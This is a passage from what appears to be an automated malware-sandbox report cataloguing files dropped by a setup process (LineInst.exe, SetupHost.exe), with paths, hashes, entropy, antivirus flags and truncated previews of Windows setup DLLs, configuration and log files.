Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........M6..,X\.,X\.,X\.D[].,X\.G[].,X\.G\].,X\.,Y\*-X\.GY].,X\.G]].,X\.GX].,X\.GQ].,X\.G.\.,X\.GZ].,X\Rich.,X\........................PE..L....B.............-................@+...............................................{....@A............................Q.......@....0...............F..8!...@...f......T...............................@............................................text.............................. ..`.data...(P..........................@....idata..x........ ..................@..@.rsrc........0......................@..@.reloc...f...@...h..................@..B........................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\SetupPlatform.ini

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.790195056953706
Encrypted:	false
SSDEEP:	3:d4v1QKxHAGMgHICpKxHAGMqzMiKICUv:d4vlHICQKICUv
MD5:	505D5A941DBA2115D265FC04EEDA870C
SHA1:	CFD058165351FD96194121B652B194A4B649F14E
SHA-256:	0B5B6C4994AC33929207BC1F31F257C75FA322D36AAA215FB36C0E7ECB9352C4
SHA-512:	6A5C9918CBA2B2BDD37E7595F04A570DB36BA8A77A6BF739860CE69B3F6BF086CA3656F2CAA2165D1725604F88FD7F7BE2E2F386797232F96E2ECD4B0D0BAF2A
Malicious:	false
Preview:	[DiagTrack]..CorrelationVector=omZFUIcoQ0GYVEMg..CorrelationVectorOriginal=omZFUIcoQ0GYVEMg.2..

C:\$Windows.~WS\Sources\WinDlp.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1165624
Entropy (8bit):	6.458049440050692
Encrypted:	false
SSDEEP:	24576:sHChbi7VH3Cg3G49W4qjbuK5nwTShiPGm/ap:Bhbi7VHSCGF7wTDOzp
MD5:	6F12BA2D5CB564F73D9813D105E5C1FE
SHA1:	B634E34149F99F4336EFC0C5DE5E850C61BE48E1
SHA-256:	26B66B81267DFDA7A78890F20A4ED0D104DB1CD350D2D9F649FDB496B6C11333
SHA-512:	4462F38B0A4ECA1D09EB747853CC15C804E2E42E91812604A0AEF25DE06D5FA5A5A4D79731AEB462F61ED46D63DD904D0A943919AABD5ADB771F94C63E6A175A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......mu..)...)...)...r\|..(...=...-...=...&...=...#...).......=...6...=...(...=.......=...(...=...(...Rich)...........................PE..L..................-................................................................8.....@A...........................}...h...,.......LC..............8!...@..H... ...T............................8..@...............d............................text...M........................... ..`.data...............................@....idata...+.......,..................@..@.rsrc....P.......D..................@..@.reloc..H....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\pidgenx.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888632
Entropy (8bit):	6.878236449249567
Encrypted:	false
SSDEEP:	24576:snR+vEwcJsaaiaYZC1vLDQf8vdJy+X1LQpOd+:4zw7aaiaYZCj5vdJy+XhUOd+
MD5:	A54F45A9013251F0DDD91C6B3AB18449
SHA1:	D2AF46EEDBF3E5024F54D81CD062F8AA4C9B77D8
SHA-256:	40A97484CE8E06658EA02AF3E3B0077C47BA8D71C2D991EB69B94F221C78478F
SHA-512:	02C4784F02537247134EA17B508CBD3E5B0C6CEA943EF0143EC9708652C85C255E115A603EB337E515AB00FE6526CD5D83D560D987FFE7D1BA612A6F125AD62D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........G.g.&.4.&.4.&.4.N.5.&.4.M.5.&.4.&.4.&.4.M.5.&.4.M.5.&.4.M.5.&.4.M.5.&.4.M.5.&.4.M.4.&.4.M.5.&.4Rich.&.4................PE..L...w..............!................P...........................CS P.....................@A........................p...s.......x....................n..8!... ..hy......T....................5......`4..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc..hy... ...z..................@..B................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\pkeyconfig.xrm-ms

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	dropped
Size (bytes):	582696
Entropy (8bit):	5.715631293469523
Encrypted:	false
SSDEEP:	6144:GeUJmDlHwVeCx2qTMTTnaP/d5/NbyBNiX4OOqd:GfARHwVeCx2qTMTTnaP/d5/NfJ
MD5:	7D72243366184B4048A90AF77D63F21C
SHA1:	4D1A0CB9CC75B1AC7DBEC285DA7B90FBC85B3892
SHA-256:	A3471EB8DC2C3045E33EB48ABAEF4046EEEBBE30161A52F7056F68E479400823
SHA-512:	A223ABBD4C3D3CDC6C1FE345E68613E0225B583D7C8705A89B3A9F91DEC96EC20428066830147642816B6B6628C7DEF368E89CC91D2378AA001CAB9E3BEE71F3
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>XrML 2.1 License - Product Key Configuration</r:title><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>AM88tJM/7qpuE9kzeYjkyRVvHkQ=</DigestValue></Reference></SignedI

C:\$Windows.~WS\Sources\products.cab

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 44045 bytes, 1 file, at 0x2c +A "products.xml", ID 33800, number 1, 86 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	44045
Entropy (8bit):	7.952743576629471
Encrypted:	false
SSDEEP:	768:a7WxoIAiafX3+okXkCCn22+ZvEcKdH+u0eZfQEj7Mq6TFSguODDOLANYo:a6yIAVfX3EYn22+9vKow7MtFLu1LAN1
MD5:	52B7D0637974ED697DD8AA819ED3C8B0
SHA1:	E81A7094362964E9AE69580B91A1E72207BE667D
SHA-256:	7677DD6247C5768737B643911894374939AAC5AE2DEA158C272511FDD2AC52BF
SHA-512:	173A5893612A789F51EE9D914AE26E1FAEC557DCFAB4DDB8AA8C8BAA7690CA456AF117E14E2B6D004C963573CB67A02F0E2760CC8C609287587DC335F9C4C1A8
Malicious:	false
Preview:	MSCF............,...................I...V...).........W. .products.xml..]......[......R3.F4U...oP. i/..A.o9..Q..V\..v..."......9.\.vw..r...1...jqC.!.....B..FQl.....x2...Bl........@<48.G.....-2.{...;.'z.u.......XJ"c.f..M.u..[..un..Y.......$.n]s.....d.=... 2.jpT.vLr.....U..'.h....=.A......-......"...l.N.......b...5.. ..9....@.j..w...}.Z.CAjd.uN...r..^.H}...{...l.d:.$...5s..7m.......K..N..$..0...Y..r..a.3s.$. .H..J..?.c...w.....t.c.S.....a....&}7>._<...W....e...x?..e.k......o..}^:......c....O..7...........*s..u?.<Q}.>.s..S.....j..{......+.x.I...{........}....\|.m.......L\..o.......\|....N..=.<..O4...w}..yS.,.~..z.o.<.O.....w>..........K.....jr......>6.G.S.?\....x.............b........G#...g.....<.....!....,.k.9..._.\......I..M...d?~0R....%O.RK....../s?...}.<.o.=..}....<\|.?..'.5.g.\|.[2...O\|...#/..~..........Cx.U.N.c...x..)..mj...<......\>.......?....................?{..........;..........#...[?............~a...?.x..5.c....,.Iy...K.2....

C:\$Windows.~WS\Sources\products.xml

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	2794793
Entropy (8bit):	5.169002964366024
Encrypted:	false
SSDEEP:	6144:iqm6xDGaol3wdAZNRlKUp9Lq0T/vjXrOo/TpuIexzfDS8/jRCMRNoUosgFTkYKl1:dzfDS8/jRCMRNxyrcL/cGPjOAEg
MD5:	F9C1DF5C8718468B892AF250F6D7B78E
SHA1:	040DA263BC223436F929DBC1F2AB88198E299610
SHA-256:	76FCC8EEACB7DA966441A7E0AC8B79CC095F13682ABB92EE5A614C52F72CE54C
SHA-512:	EDEB708E50F815EF022BD9275255DD3644B07597E9A90736364FBB7206B77BA44953D61735DEF7E2653A12442FD623BAFF0630793B507ECCF4508E772BA02A39
Malicious:	false
Preview:	<MCT>.. <Catalogs>.. <Catalog version="1.4.1">.. <PublishedMedia id="" release="">.. <Files>.. <File id="">.. <FileName>19045.3803.231204-0204.22h2_release_svc_refresh_CLIENTCHINA_RET_x64FRE_zh-cn.esd</FileName>.. <LanguageCode>zh-cn</LanguageCode>.. <Language>Chinese (Simplified, China)</Language>.. <Edition>CoreCountrySpecific</Edition>.. <Architecture>x64</Architecture>.. <Size>3945834799</Size>.. <Sha1>8b49a8943cb3260ce9a8dadcd729f0ac98018245</Sha1>.. <FilePath>http://dl.delivery.mp.microsoft.com/filestreamingservice/files/6048ac73-c010-4eaf-ac07-a8672588662e/19045.3803.231204-0204.22h2_release_svc_refresh_CLIENTCHINA_RET_x64FRE_zh-cn.esd</FilePath>.. <Key />.. <Architecture_Loc>%ARCH_64%</Architecture_Loc>.. <Edition_Loc>%BASE_CHINA%</Edition_Loc>.. <IsRetailOnly>False</IsRetailOnly>.. </File>.. <File id="">.

C:\$Windows.~WS\Sources\setupplatform.cfg

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10452
Entropy (8bit):	5.444136787913199
Encrypted:	false
SSDEEP:	192:seqadKxSRlb3dY/e7sxzs7c6i19WO7hD26BV+btnQfz/:sjmTrq/e7s1vpMvoz/
MD5:	033E7ADC314C248CC29A9F14906C21E5
SHA1:	6B31F8A23514B4E98217CD05BE08E7967ECA7048
SHA-256:	C40FDDBB16853406D12D30E01E170DE8474728BB8EC24794DB721DE0A7F67927
SHA-512:	46B46D548F5A2269E886A9F6873D97549EEB92C7294114C62BAF7805AC423E4D3AA3A50CD7B3294BE03E22C271F6BEF1134ADF797D9F838962EF5B42E8ECD19E
Malicious:	false
Preview:	;..; This section describes the footprint dependencies..; of various platform sections..;..[Dependencies]..Basic =..Servicing = Basic..ICB = Basic, Servicing..Migration = Basic....;..; Each element in a footprint section can be one of three things:..; - File name: this must not ending in '\'...; - Folder name: this must end in '\'...; - File pattern pattern: these can contain wild cards...; These pattern should be one of the format..; accepted by FindFirstFile()...;......[Footprint.Basic]..diager.dll..diagtrack.dll..diagtrackrunner.exe..reagent.admx..reagent.dll..reagent.xml..setupplatform.cfg..setupplatform.dll..setupplatform.exe..unbcl.dll..wdsclientapi.dll..wdscore.dll..wdscsl.dll..wdsimage.dll..wdstptc.dll..wdsutil.dll..WinSetupBoot.sys..WinSetupBoot.hiv....[Footprint.Basic.Delayed]..-\reagent.adml..-\reagent.dll.mui..-\setupplatform.exe.mui..-\wdsimage.dll.mui..du.dll..ReserveManager.dll......[Footprint.Servicing]..dismapi.dll..dismcore.dll..dismcoreps.dll..dis

C:\$Windows.~WS\Sources\setupplatform.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7203144
Entropy (8bit):	6.701114300776759
Encrypted:	false
SSDEEP:	98304:FsA91crphY6bcvsNZSI/mbuhfuCK4Q4Rus1T+nfIqBpxlpcLy/Wuac7KA2:iA98pSg3ZHLusB+nF1/dS
MD5:	0DB2EB7B159D7289DFBDF3CA29D44704
SHA1:	57A9AA7409A9040A701855BF610F68E5A9CFEA24
SHA-256:	CBEEC25C578F4E8EAE81BB8829C3B7BC81648DA6F63EEB4A606B9A66660D6D91
SHA-512:	8EADA149F0C90DF794D26EFE8AF2C90DF1B8172B33CCC6639F3F1A18671AA34493A6D466B4BF2357075094BC13129E5001623B2388C39ED6FA4239B4E9EF6328
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........& ..GN..GN..GN..?...GN..,M..GN..,J..GN..GO.$BN..,O..GN..,K..GN..,N..GN..,G..EN..,...GN..,L..GN.Rich.GN.........PE..L..................-......^..,........V.......^..............................Pn.......n...@A........................ .^......@d.......d...............m.H!....e..E..0...T...............................@............0d.....`.^.`....................text.....^.......^................. ..`.data....4....^.......^.............@....idata..4....0d.......c.............@..@.didat........d......xd.............@....rsrc.........d......\|d.............@..@.reloc...E....e..F....d.............@..B................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\unbcl.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	835904
Entropy (8bit):	6.6134747845607045
Encrypted:	false
SSDEEP:	12288:tFWowsrRqH5Euwb8naBgOMddILrWER0dDxAbti:tZRqHb1DILrfML
MD5:	5D52A4EFAC5B4B7530B388AEB6F9CB67
SHA1:	4B5D32A6CAECEC6E261F5BA7BAE392609A6A0F65
SHA-256:	137ECA75B268556503E26CD5987DDDAC5EB0831ED4CE5EA3B0D34B5645A31ABD
SHA-512:	F7F88C4229C97BF598F995CF31A8ADFF73089EF8D26143CC839A30D63221FB66B185E12AE20BC17F14712723BB20C34F6E546F6BE961164DEEAE268703322756
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9ys.}...}...}...t`......is..{...is..l...}.......is..p...is..t...is..\|...is..)...is.\|...is..\|...Rich}...........PE..L...c.............-................`...............................................7.....@A........................`...*... ........0..................@!...@..T......T...................TB..........@.......................`....................text............................... ..`.data....^.......Z..................@....idata..............................@..@.didat....... ......................@....rsrc........0......................@..@.reloc..T....@......................@..B................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\wdsclientapi.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	249288
Entropy (8bit):	6.515585131330681
Encrypted:	false
SSDEEP:	6144:dwSCAMOtf9vjREEQytxZAAB8A866ZAbl3YKcNFsvGbxlVrFJp3qM95BZc61:LWAB8M5bl3YKcgvw1/
MD5:	C8622591EA490127898FF612C4D0FCE8
SHA1:	609B9A81D5CCBCAC62377EEEE95FF328DAEC3618
SHA-256:	00436605B013E26F39B3FF6AAB1E5577FE6E4950C4C803D534D0BBD912B3F7E0
SHA-512:	CBDF1828E892035F05554298480F0416AADBD83C5020EE02AB7FB13BD7B03418297632C7AADC4C82EF850C5E79B03F9044C86A3D5BE09DCB07C1834B90DB2F23
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X..s... ... ... ...!... ...!... ... R.. ...!3.. ...!... ...!... ...!y.. ..% ... ...!... Rich... ........................PE..L...4jpZ...........!.....B...l.......;.......`......................................R ....@A........................0I..........\|.......H................!.......2.....T....................*......p)..@............................................text...>A.......B.................. ..`.data........`.......F..............@....idata..t............X..............@..@.rsrc...H............r..............@..@.reloc...2.......4...x..............@..B................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\wdscore.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	201528
Entropy (8bit):	6.405403159422954
Encrypted:	false
SSDEEP:	6144:yZ3oXN1cvpP/YeJvuBLqAOAWgERCGwDlyxfb2g/4S/IAiN85McisT:KXvSLqAOAWgERCNI6g/4giN8KXsT
MD5:	07F3FAC5518C90B22DFB9778EA280D0A
SHA1:	6D20FF953A0C5AABC1970E80A5F96AEDD830DB9B
SHA-256:	65467BF1FBF10C2A399FE532B780F3604FDA5B00DB8319787CB6867BEDE4B90E
SHA-512:	F86447C3DD0AD11022B208BA04C7B62CDDF57B1035F4B1E18AAE3E6764B6DCE53FBEAA68CB5CE3AB75BA08293474DC18E9A3F5CE6DF43A01701ABD9180E07ACE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......nG4.&Z.&Z.&Z.#^..(&Z.>MY..&Z.>M^.$&Z.&[..&Z.>M[.'&Z.>M_.#&Z.>MZ.+&Z.>MR.5&Z.>M..+&Z.>MX.+&Z.Rich*&Z.................PE..L....Q.t...........-.........N......@........................................@............@A............................>...$...d.......................8!.......".. ...T...............................@............... ............................text...>........................... ..`.data...h...........................@....idata..............................@..@.rsrc...............................@..@.reloc...".......$..................@..B................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\wdscsl.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	50504
Entropy (8bit):	6.56063223965799
Encrypted:	false
SSDEEP:	1536:bvftzpTPMNBV4VJMZ/MZJ//3swsxsiM9gVP599:7ftNTENBVcMZW/3sjaiM9gVj9
MD5:	0B778AD42D5E17CE89936F6D4C42957D
SHA1:	DCC971675653547295AC4EE95E139A1CCA7A20C5
SHA-256:	D5BCFDAB29EA1DEEA22679A4A4473A9CC84871A5D707C006EB99FACB4AF9081B
SHA-512:	3AAF945A4735BC867AD4C4213EC43079B8B8FEF17CBAF3B394365762451E36F51075E7E129FC8DCBC847DC44501536309114B6C54A4D415D21D0459049E51026
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+.~\o...o...o...{...l...{...a...o.......{...p...{...i...{...n...{...w...{...n...{...n...Richo...........................PE..L....7............!........."......@.....................................................@A............................S..............0...............H!......P...P!..T...................D...........@............................................text...C........................... ..`.data...............................@....idata..............................@..@.rsrc...0...........................@..@.reloc..P...........................@..B................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\wdsimage.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	750032
Entropy (8bit):	6.620521533851412
Encrypted:	false
SSDEEP:	12288:YuUi9cOIJAeMgC14k1BzD96/am+Bzqx8J8yh7Rb6bbYYcdacXgmr0zZkIvSzfqav:Ai9cOsMgC144vOe7RbibYZMcSsldT
MD5:	B5D99819CB865C4DA4EBE8880F5ADA7E
SHA1:	5BAD51BECB913F65ACC8B2DF912AC76A24F0834D
SHA-256:	4ED57014301E91B0504E0C2A62F4EE969CCF4C179DE9788D1307DBC71186D543
SHA-512:	5AC313784CB4AA3829AE59770049B27D3D50193B206CAD43C2D79BB7674766BE5199F4F76BE9854DF635DF2094E763CA61F14699D8538F62393F10C781FCCFB7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........4...g...g...g...f...g...f...g...g4..g...f...g...f...g...f...g...f...g...g...g...f...gRich...g................PE..L...."n~...........!................Px..............................................yK....@A................................\...@....................P...!... ...m..0...T....................7.......7..@...............X............................text.............................. ..`.data...............................@....idata...$.......&..................@..@.rsrc...............................@..@.reloc...m... ...n..................@..B........................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\wdstptc.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	516032
Entropy (8bit):	6.669254995489913
Encrypted:	false
SSDEEP:	12288:6ZTPK4dHSyYHxUpt3NIqct9awKFaLXDXjjf2Uxg8NcTki1NgLOi7TW/P2PxxQ:6FlJSbkt3yLXDXjjfF+L2nQ
MD5:	7A020A931614E1A7CA1DB482D1C00EDE
SHA1:	782FADD14783D0A10520294E4E69036ADB556E53
SHA-256:	48EE94546C9345FBE5AD1A51F4826B131DA554A8E4395E5D22E4CDE09B3816D5
SHA-512:	7DE656C091C95D91C6A78115BEB497AFD11FBCCB1B47D3F7557D0AB1D3E52EB2A2060E640222D445D6859A7C1813901653CC77BBA0D21E1DCB46AAA413A17430
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........+..E..E..E...F..E...A..E..D.u.E...D..E...@..E...E..E...L.#.E....E...G..E.Rich.E.................PE..L....Ey7...........!.....N...x.......=.......`.......................................L....@A........................PZ..S....t..,.......(................!......<?..`...T...................\|...........@............p...............................text....M.......N.................. ..`.data...D....`.......R..............@....idata..` ...p..."...V..............@..@.rsrc...(............x..............@..@.reloc..<?.......@...~..............@..B........................................................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\wdsutil.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	237384
Entropy (8bit):	6.580668822713633
Encrypted:	false
SSDEEP:	6144:al6Ls7+dMPL25tZ1qeLkLY85pwkfLWdm7bS:Y2s7+dMPL8tZ/4s8PwkC/
MD5:	818E76521DAD2369E8F713AECDA42145
SHA1:	DF047D531B34433F5139BEAA886AF72136FD1537
SHA-256:	EAB16299B69323FCA094F2D214A5BC5FBF973040B7CCD187415EDF985F46B21D
SHA-512:	2414E9DB470251251796DE54000DC4067697068F7FD38C6BF443B367C9EC8E05CB1D75455D6DBD8BD08419FE13CC99DECCB44086CD32BD72EA76F743EF239D4B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<..\|x.a/x.a/x.a/l.b.z.a/l.e.w.a/x.`/a.a/l.`.k.a/l.d.p.a/l.a.y.a/l.h.P.a/l../y.a/l.c.y.a/Richx.a/................PE..L...;.e............-.....$...\...............@......................................r.....@A........................P...C>..`c.......................~..H!.......&..pO..T...............................@............`..\...(...@....................text....".......$.................. ..`.data...\....@.......(..............@....idata..z....`.......8..............@..@.didat.. ............P..............@....rsrc................R..............@..@.reloc...&.......(...V..............@..B................................................................................................................................................................................................................................................................................

C:\$Windows.~WS\Sources\wpx.dll

Download File

Process:	C:\Users\user\AppData\LineInst.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1082696
Entropy (8bit):	6.364208954994143
Encrypted:	false
SSDEEP:	12288:bO3QPsPj6z55ORVLWvluEJm+po+UyFwhDfRRBp4YZgeXc:b7PsPj6z55ORVLWvwao+UWwBRRBQeXc
MD5:	15E92D3769E6EEFA80DAAC3085741BF6
SHA1:	E149B74683E37D6FF574788D233020E5DD097795
SHA-256:	08C8A6B2F76F9D9152E01FF3118990FDCDBB0D2E8C57DBFE43568367493187D4
SHA-512:	CE8EB54356739EB9E40C3F62026CA7371CB8E24A0CFB83897535D85B401829DCCAD56A027B76E824CF482C4D128FE1014C6B9416C44D16FA179A2FC2B6F5BBB9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C...-...-...-.......-......-..)...-...,...-..,...-..(...-..-...-..$..-......-../...-.Rich..-.........PE..L....._Z...........!.........\|......................................................j.....@A................................tR.......p...@...........d..H!.............T...................$<......x;..@............P..p............................text............................... ..`PAGE................................ ..`.data....J.......F..................@....idata.......P.......4..............@..@.rsrc....@...p...B...F..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Diagnosis\ETLLogs\DlTel-Merge.etl

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	data
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.7820234358676397
Encrypted:	false
SSDEEP:	768:1zAa0rDOJuUjCUKVdJMggcRiUE4Rkr3ajDZSr0vJgqZ02cF5JnbFGqUzyY/qp+zu:KhRVu
MD5:	C10C353BC9006F111E126B6EB630DA00
SHA1:	FBFB4D2A60622BD8881A390278C2D67360BF3885
SHA-256:	02B88955675322331934825F232F4BB2C68A7A77924FD1070212895DA74671B0
SHA-512:	59D87AE1B1D8E81971B61A0773B6E118A4266F30885AB711D105BD27943FCDA41085FBFA390844215EBC67C748BC969EF9A0FD58199344A69D296FF68E5926D8
Malicious:	true
Preview:	............................................................................\|...X...T..."&.m....................eJ.......;/..Y..Zb......................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1..............................................................O............._`..Y..........R.e.l.o.g.g.e.r...C.:.\.W.i.n.d.o.w.s.\.P.a.n.t.h.e.r.\.D.l.T.e.l...e.t.l...........P.P.X...T..."&.m............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Diagnosis\ETLLogs\DlTel-Merge.etl:$ETLUNIQUECVDATA

Download File

Process:	C:\$Windows.~WS\Sources\SetupHost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	4.058813890331201
Encrypted:	false
SSDEEP:	3:PHICj:PHICj
MD5:	8F32EF9B9036C47BA5AE62D6921A5156
SHA1:	BED32DEB1F27C0BBAD2E804A51DDF32C6FD286EC
SHA-256:	E914F5C7F11F1F4FC29B0828244AD58483D55714901829AB8A203BA5F2087EE2
SHA-512:	826F3B5369141A8715E74E67B41EC033BA63A3D8A4A26AE25A2692027ACB4AE7BE030EBEBB0B517EA2A0BC28CB5B4BA17CC47162D2147F79DD1FC6A6DCF620DA
Malicious:	true
Preview:	omZFUIcoQ0GYVEMg.2

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3797934391220423
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvryH:KooCEYhgYEL0IncLpzR
MD5:	C439E2DFFD388F0F538F84D6E2F04C61
SHA1:	225CB39395B5D7145303FDD0AFC5CF369BFC5AFB
SHA-256:	1ACEE57D47963B1A340B6878759C88866BD3442B55779ADADA8DFF1236F17D8D
SHA-512:	6CCD575F37970DD483D073D49A36DB24F8EBE29FC2BA91BF2EE4145F7F45459490985BC6BC1BCD4BE723E4031DE0C072F832BBA5C14CCA49E354C44E4FB4D356
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x77e358a4, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220782098768691
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Raza/vMUM2Uvz7DO
MD5:	3E3A81273905030625D41FBEC1A647FC
SHA1:	A609BB400E3BAD7BEEC232035B4CF0FCB93AF448
SHA-256:	7904B8DA73D3638D1A8AEF9AF62C0A3E7D66E3C931C4E512DAC9B3FDCFBEE0E9
SHA-512:	B40D9324A0149E256BC1951C54301B65D86FC66CDF9B1C97E47C49EEF873537A0A9F7FC97F24F721A39C07247D0DC821327113F15F55556AB6D19FF3D110D6C5
Malicious:	false
Preview:	w.X.... .......A.......X\...;...{......................0.!..........{A..6...\|}.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................s...6...\|...................`dV.6...\|}..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07733500761082986
Encrypted:	false
SSDEEP:	3:0K6YeSl4pmflSpkZ++C1kNt/4Apkl1ollXmJXllnl+/rQxZNQl:0K6zsklBpkP/4ApkledmJ0wk
MD5:	D2EA8652A11DF5156152002B95C6AA49
SHA1:	463CBCC516F01B7F7FC1C582332FE9987DDE6108
SHA-256:	2638C7DC53393AF1315866E644284EE38801524E1D4F449510B0A5E84AE57D5A
